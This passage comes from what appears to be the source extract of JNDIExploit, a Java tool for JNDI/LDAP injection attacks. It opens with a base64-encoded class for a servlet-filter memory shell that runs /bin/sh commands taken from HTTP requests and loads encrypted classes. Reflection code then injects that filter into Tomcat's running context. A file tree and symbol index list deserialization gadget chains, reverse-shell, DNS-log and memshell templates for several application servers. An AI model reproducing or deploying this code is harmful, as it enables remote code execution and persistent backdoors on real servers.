wEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mA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";
byte[] bytes = base64Decoder.decodeBuffer(codeClass);
Method method = null;
Class clz = cl.getClass();
while(method == null && clz != Object.class ){
try{
method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
}catch(NoSuchMethodException ex){
clz = clz.getSuperclass();
}
}
method.setAccessible(true);
clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
}
filterDef.getClass().getDeclaredMethod("setFilterClass", String.class).invoke(filterDef, clazz.getName());
filterDef.getClass().getDeclaredMethod("setFilter", Filter.class).invoke(filterDef, clazz.newInstance());
standardContext.getClass().getDeclaredMethod("addFilterDef", filterDefClass).invoke(standardContext, filterDef);
//设置 FilterMap
//由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
Class filterMapClass = null;
try {
filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (ClassNotFoundException e) {
filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
}
//使用 addFilterMapBefore 会自动把我们创建的 filterMap 丢到第一位去,无需在手动排序了
//其他中间件应该也是类似的
Object filterMap = filterMapClass.newInstance();
filterMap.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterMap, filterName);
filterMap.getClass().getDeclaredMethod("setDispatcher", String.class).invoke(filterMap, DispatcherType.REQUEST.name());
filterMap.getClass().getDeclaredMethod("addURLPattern", String.class).invoke(filterMap, urlPattern);
standardContext.getClass().getDeclaredMethod("addFilterMapBefore", filterMapClass).invoke(standardContext, filterMap);
//设置 FilterConfig
gitextract_idkl6mhj/
├── .gitignore
├── .idea/
│ ├── .gitignore
│ ├── compiler.xml
│ ├── encodings.xml
│ ├── libraries/
│ │ ├── weblogic.xml
│ │ └── webserviceclient.xml
│ ├── misc.xml
│ ├── uiDesigner.xml
│ └── vcs.xml
├── JNDIExploit.iml
├── README.md
├── lib/
│ ├── weblogic.jar
│ └── webserviceclient.jar
├── pom.xml
└── src/
├── main/
│ └── java/
│ └── com/
│ └── feihong/
│ └── ldap/
│ ├── HTTPServer.java
│ ├── LdapServer.java
│ ├── Starter.java
│ ├── controllers/
│ │ ├── BasicController.java
│ │ ├── GroovyBypassController.java
│ │ ├── LdapController.java
│ │ ├── LdapMapping.java
│ │ ├── PropertiesRefAddr.java
│ │ ├── SerializedDataController.java
│ │ ├── TomcatBypassController.java
│ │ └── WebsphereBypassController.java
│ ├── enumtypes/
│ │ ├── GadgetType.java
│ │ ├── MemShellType.java
│ │ ├── PayloadType.java
│ │ └── WebsphereActionType.java
│ ├── exceptions/
│ │ ├── IncorrectParamsException.java
│ │ ├── UnSupportedActionTypeException.java
│ │ ├── UnSupportedGadgetTypeException.java
│ │ └── UnSupportedPayloadTypeException.java
│ ├── gadgets/
│ │ ├── C3P0.java
│ │ ├── CommonsBeanutils1.java
│ │ ├── CommonsCollections1.java
│ │ ├── CommonsCollections2.java
│ │ ├── Jre8u20.java
│ │ ├── URLDNS.java
│ │ └── utils/
│ │ ├── ClassFiles.java
│ │ ├── Gadgets.java
│ │ ├── Reflections.java
│ │ └── Util.java
│ ├── template/
│ │ ├── CommandTemplate.java
│ │ ├── DnslogTemplate.java
│ │ ├── DynamicFilterTemplate.java
│ │ ├── JBossMemshellTemplate.java
│ │ ├── JettyMemshellTemplate.java
│ │ ├── MyClassLoader.java
│ │ ├── ReverseShellTemplate.java
│ │ ├── SpringMemshellTemplate.java
│ │ ├── Template.java
│ │ ├── TomcatMemshellTemplate.java
│ │ ├── WeblogicMemshellTemplate.java
│ │ └── WebsphereMemshellTemplate.java
│ └── utils/
│ ├── Cache.java
│ ├── Config.java
│ └── Util.java
└── test/
└── java/
├── TestBase64.java
└── TestProgram.java
SYMBOL INDEX (202 symbols across 45 files)
FILE: src/main/java/com/feihong/ldap/HTTPServer.java
class HTTPServer (line 22) | public class HTTPServer {
method start (line 24) | public static void start() throws IOException {
method handleXXELogRequest (line 57) | public static void handleXXELogRequest(HttpExchange exchange) throws I...
method handleJarRequest (line 68) | private static void handleJarRequest(HttpExchange exchange) throws IOE...
method handleClassRequest (line 92) | private static void handleClassRequest(HttpExchange exchange) throws I...
method handleWSDLRequest (line 110) | private static void handleWSDLRequest(HttpExchange exchange) throws Ex...
method parseQuery (line 180) | private static Map<String, String> parseQuery(String query){
method createJar (line 204) | private static String createJar(String type, String... params) throws ...
FILE: src/main/java/com/feihong/ldap/LdapServer.java
class LdapServer (line 21) | public class LdapServer extends InMemoryOperationInterceptor {
method start (line 25) | public static void start() {
method LdapServer (line 46) | public LdapServer() throws Exception {
method processSearchResult (line 71) | @Override
FILE: src/main/java/com/feihong/ldap/Starter.java
class Starter (line 6) | public class Starter {
method main (line 7) | public static void main(String[] args) throws IOException {
FILE: src/main/java/com/feihong/ldap/controllers/BasicController.java
class BasicController (line 17) | @LdapMapping(uri = { "/basic" })
method sendResult (line 24) | @Override
method process (line 77) | @Override
FILE: src/main/java/com/feihong/ldap/controllers/GroovyBypassController.java
class GroovyBypassController (line 26) | @LdapMapping(uri = { "/groovybypass" })
method sendResult (line 36) | @Override
method process (line 58) | @Override
FILE: src/main/java/com/feihong/ldap/controllers/LdapController.java
type LdapController (line 9) | public interface LdapController {
method sendResult (line 10) | void sendResult(InMemoryInterceptedSearchResult result, String base) t...
method process (line 11) | void process(String base) throws UnSupportedPayloadTypeException, Inco...
FILE: src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java
class PropertiesRefAddr (line 7) | public class PropertiesRefAddr extends RefAddr {
method PropertiesRefAddr (line 11) | public PropertiesRefAddr(String addrType, Properties props) {
method getContent (line 16) | public Object getContent() {
FILE: src/main/java/com/feihong/ldap/controllers/SerializedDataController.java
class SerializedDataController (line 15) | @LdapMapping(uri = { "/deserialize" })
method sendResult (line 21) | @Override
method process (line 55) | @Override
FILE: src/main/java/com/feihong/ldap/controllers/TomcatBypassController.java
class TomcatBypassController (line 22) | @LdapMapping(uri = { "/tomcatbypass" })
method sendResult (line 33) | @Override
method process (line 75) | @Override
class TomcatBypassHelper (line 121) | private class TomcatBypassHelper{
method getExecCode (line 135) | public String getExecCode(String cmd) throws IOException {
method getDnsRequestCode (line 152) | public String getDnsRequestCode(String dnslog){
method getReverseShellCode (line 165) | public String getReverseShellCode(String ip, String port){
method injectTomcatMemsell (line 175) | public String injectTomcatMemsell(){
method injectSpringMemshell (line 179) | public String injectSpringMemshell(){
method injectMemshell (line 183) | public String injectMemshell(String className){
FILE: src/main/java/com/feihong/ldap/controllers/WebsphereBypassController.java
class WebsphereBypassController (line 22) | @LdapMapping(uri = { "/webspherebypass" })
method sendResult (line 28) | @Override
method process (line 60) | @Override
FILE: src/main/java/com/feihong/ldap/enumtypes/GadgetType.java
type GadgetType (line 3) | public enum GadgetType {
FILE: src/main/java/com/feihong/ldap/enumtypes/MemShellType.java
class MemShellType (line 3) | public final class MemShellType {
method MemShellType (line 5) | private MemShellType(){}
FILE: src/main/java/com/feihong/ldap/enumtypes/PayloadType.java
type PayloadType (line 3) | public enum PayloadType {
FILE: src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java
type WebsphereActionType (line 3) | public enum WebsphereActionType {
FILE: src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java
class IncorrectParamsException (line 3) | public class IncorrectParamsException extends RuntimeException {
method IncorrectParamsException (line 4) | public IncorrectParamsException(){
method IncorrectParamsException (line 7) | public IncorrectParamsException(String message){
FILE: src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java
class UnSupportedActionTypeException (line 3) | public class UnSupportedActionTypeException extends RuntimeException{
method UnSupportedActionTypeException (line 4) | public UnSupportedActionTypeException(){
method UnSupportedActionTypeException (line 7) | public UnSupportedActionTypeException(String message){
FILE: src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java
class UnSupportedGadgetTypeException (line 3) | public class UnSupportedGadgetTypeException extends RuntimeException {
method UnSupportedGadgetTypeException (line 4) | public UnSupportedGadgetTypeException(){ super();}
method UnSupportedGadgetTypeException (line 5) | public UnSupportedGadgetTypeException(String message){
FILE: src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java
class UnSupportedPayloadTypeException (line 3) | public class UnSupportedPayloadTypeException extends RuntimeException {
method UnSupportedPayloadTypeException (line 4) | public UnSupportedPayloadTypeException(){
method UnSupportedPayloadTypeException (line 7) | public UnSupportedPayloadTypeException(String message){
FILE: src/main/java/com/feihong/ldap/gadgets/C3P0.java
class C3P0 (line 25) | public class C3P0 {
method getBytes (line 26) | public static byte[] getBytes(PayloadType type, String... param) throw...
class PoolSource (line 83) | private static final class PoolSource implements ConnectionPoolDataSou...
method PoolSource (line 88) | public PoolSource ( String className, String url ) {
method getReference (line 93) | public Reference getReference () throws NamingException {
method getLogWriter (line 97) | public PrintWriter getLogWriter () throws SQLException {return null;}
method setLogWriter (line 98) | public void setLogWriter ( PrintWriter out ) throws SQLException {}
method setLoginTimeout (line 99) | public void setLoginTimeout ( int seconds ) throws SQLException {}
method getLoginTimeout (line 100) | public int getLoginTimeout () throws SQLException {return 0;}
method getParentLogger (line 101) | public Logger getParentLogger () throws SQLFeatureNotSupportedExcept...
method getPooledConnection (line 102) | public PooledConnection getPooledConnection () throws SQLException {...
method getPooledConnection (line 103) | public PooledConnection getPooledConnection ( String user, String pa...
FILE: src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java
class CommonsBeanutils1 (line 13) | public class CommonsBeanutils1 {
method main (line 14) | public static void main(String[] args) throws Exception {
method getBytes (line 21) | public static byte[] getBytes(PayloadType type, String... param) throw...
FILE: src/main/java/com/feihong/ldap/gadgets/CommonsCollections1.java
class CommonsCollections1 (line 21) | public class CommonsCollections1 {
method main (line 22) | public static void main(String[] args) throws Exception {
method getBytes (line 29) | public static byte[] getBytes(PayloadType type, String... param) throw...
FILE: src/main/java/com/feihong/ldap/gadgets/CommonsCollections2.java
class CommonsCollections2 (line 21) | public class CommonsCollections2 {
method main (line 22) | public static void main(String[] args) throws Exception {
method getBytes (line 29) | public static byte[] getBytes(PayloadType type, String... param) throw...
FILE: src/main/java/com/feihong/ldap/gadgets/Jre8u20.java
class Jre8u20 (line 18) | public class Jre8u20 {
method main (line 19) | public static void main(String[] args) throws Exception {
method getBytes (line 26) | public static byte[] getBytes(PayloadType type, String... param) throw...
FILE: src/main/java/com/feihong/ldap/gadgets/URLDNS.java
class URLDNS (line 13) | public class URLDNS {
method getBytes (line 14) | public static byte[] getBytes(final String url) throws Exception {
class SilentURLStreamHandler (line 36) | static class SilentURLStreamHandler extends URLStreamHandler {
method openConnection (line 38) | protected URLConnection openConnection(URL u) throws IOException {
method getHostAddress (line 42) | protected synchronized InetAddress getHostAddress(URL u) {
FILE: src/main/java/com/feihong/ldap/gadgets/utils/ClassFiles.java
class ClassFiles (line 7) | public class ClassFiles {
method classAsFile (line 8) | public static String classAsFile(final Class<?> clazz) {
method classAsFile (line 12) | public static String classAsFile(final Class<?> clazz, boolean suffix) {
method classAsBytes (line 25) | public static byte[] classAsBytes(final Class<?> clazz) {
FILE: src/main/java/com/feihong/ldap/gadgets/utils/Gadgets.java
class Gadgets (line 24) | @SuppressWarnings ( {
class StubTransletPayload (line 39) | public static class StubTransletPayload extends AbstractTranslet imple...
method transform (line 44) | public void transform ( DOM document, SerializationHandler[] handler...
method transform (line 47) | @Override
class Foo (line 52) | public static class Foo implements Serializable {
method createMemoitizedProxy (line 58) | public static <T> T createMemoitizedProxy ( final Map<String, Object> ...
method createMemoizedInvocationHandler (line 63) | public static InvocationHandler createMemoizedInvocationHandler ( fina...
method createProxy (line 68) | public static <T> T createProxy ( final InvocationHandler ih, final Cl...
method createMap (line 78) | public static Map<String, Object> createMap ( final String key, final ...
method createTemplatesImpl (line 85) | public static Object createTemplatesImpl (PayloadType type, String... ...
method createTemplatesImpl (line 99) | public static <T> T createTemplatesImpl (PayloadType type, Class<T> tp...
method makeMap (line 165) | public static HashMap makeMap(Object v1, Object v2) throws Exception, ...
FILE: src/main/java/com/feihong/ldap/gadgets/utils/Reflections.java
class Reflections (line 10) | @SuppressWarnings ( "restriction" )
method setAccessible (line 13) | public static void setAccessible(AccessibleObject member) {
method getField (line 18) | public static Field getField(final Class<?> clazz, final String fieldN...
method setFieldValue (line 31) | public static void setFieldValue(final Object obj, final String fieldN...
method getFieldValue (line 36) | public static Object getFieldValue(final Object obj, final String fiel...
method getFirstCtor (line 41) | public static Constructor<?> getFirstCtor(final String name) throws Ex...
method newInstance (line 47) | public static Object newInstance(String className, Object ... args) th...
method createWithoutConstructor (line 51) | public static <T> T createWithoutConstructor ( Class<T> classToInstant...
method createWithConstructor (line 56) | @SuppressWarnings ( {"unchecked"} )
FILE: src/main/java/com/feihong/ldap/gadgets/utils/Util.java
class Util (line 3) | public class Util {
method deleteAt (line 4) | public static byte[] deleteAt(byte[] bs, int index) {
method addAtIndex (line 21) | public static byte[] addAtIndex(byte[] bs, int index, byte b) {
method addAtLast (line 32) | public static byte[] addAtLast(byte[] bs, byte b) {
FILE: src/main/java/com/feihong/ldap/template/CommandTemplate.java
class CommandTemplate (line 8) | public class CommandTemplate implements Template{
method CommandTemplate (line 13) | public CommandTemplate(String cmd){
method CommandTemplate (line 20) | public CommandTemplate(String cmd, String className){
method cache (line 27) | public void cache(){
method getClassName (line 31) | public String getClassName(){
method getBytes (line 35) | public byte[] getBytes(){
method generate (line 39) | public void generate(){
FILE: src/main/java/com/feihong/ldap/template/DnslogTemplate.java
class DnslogTemplate (line 9) | public class DnslogTemplate implements Template {
method DnslogTemplate (line 15) | public DnslogTemplate(String dnslog){
method DnslogTemplate (line 22) | public DnslogTemplate(String dnslog, String className){
method cache (line 29) | public void cache(){
method getClassName (line 33) | public String getClassName(){
method getBytes (line 37) | public byte[] getBytes(){
method generate (line 41) | public void generate(){
FILE: src/main/java/com/feihong/ldap/template/DynamicFilterTemplate.java
class DynamicFilterTemplate (line 14) | public class DynamicFilterTemplate implements Filter {
method DynamicFilterTemplate (line 21) | public DynamicFilterTemplate(){
method init (line 26) | @Override
method doFilter (line 31) | @Override
method destroy (line 71) | @Override
method initialize (line 76) | private void initialize(){
FILE: src/main/java/com/feihong/ldap/template/JBossMemshellTemplate.java
class JBossMemshellTemplate (line 23) | public class JBossMemshellTemplate extends AbstractTranslet {
method JBossMemshellTemplate (line 25) | public JBossMemshellTemplate(){
method transform (line 82) | @Override
method transform (line 87) | @Override
FILE: src/main/java/com/feihong/ldap/template/JettyMemshellTemplate.java
class JettyMemshellTemplate (line 22) | public class JettyMemshellTemplate extends AbstractTranslet {
method JettyMemshellTemplate (line 23) | public JettyMemshellTemplate(){
method transform (line 133) | @Override
method transform (line 138) | @Override
FILE: src/main/java/com/feihong/ldap/template/MyClassLoader.java
class MyClassLoader (line 3) | public class MyClassLoader extends ClassLoader {
method MyClassLoader (line 4) | MyClassLoader(ClassLoader c){super(c);}
method defineClass (line 7) | public static Class defineClass(byte[] bytes, ClassLoader classLoader){
FILE: src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java
class ReverseShellTemplate (line 9) | public class ReverseShellTemplate implements Template {
method ReverseShellTemplate (line 15) | public ReverseShellTemplate(String ip, String port){
method ReverseShellTemplate (line 20) | public ReverseShellTemplate(String ip, int port){
method ReverseShellTemplate (line 28) | public ReverseShellTemplate(String ip, String port, String className){
method getClassName (line 35) | @Override
method getBytes (line 40) | @Override
method cache (line 45) | @Override
method generate (line 50) | @Override
FILE: src/main/java/com/feihong/ldap/template/SpringMemshellTemplate.java
class SpringMemshellTemplate (line 15) | public class SpringMemshellTemplate extends AbstractTranslet {
method SpringMemshellTemplate (line 16) | public SpringMemshellTemplate(){
method transform (line 97) | @Override
method transform (line 102) | @Override
FILE: src/main/java/com/feihong/ldap/template/Template.java
type Template (line 3) | public interface Template {
method generate (line 4) | void generate();
method getBytes (line 5) | byte[] getBytes();
method cache (line 6) | void cache();
method getClassName (line 7) | String getClassName();
FILE: src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate.java
class TomcatMemshellTemplate (line 26) | public class TomcatMemshellTemplate extends AbstractTranslet {
method TomcatMemshellTemplate (line 28) | public TomcatMemshellTemplate(){
method transform (line 131) | @Override
method transform (line 136) | @Override
FILE: src/main/java/com/feihong/ldap/template/WeblogicMemshellTemplate.java
class WeblogicMemshellTemplate (line 25) | public class WeblogicMemshellTemplate extends AbstractTranslet {
method WeblogicMemshellTemplate (line 26) | public WeblogicMemshellTemplate(){
method transform (line 137) | @Override
method transform (line 142) | @Override
FILE: src/main/java/com/feihong/ldap/template/WebsphereMemshellTemplate.java
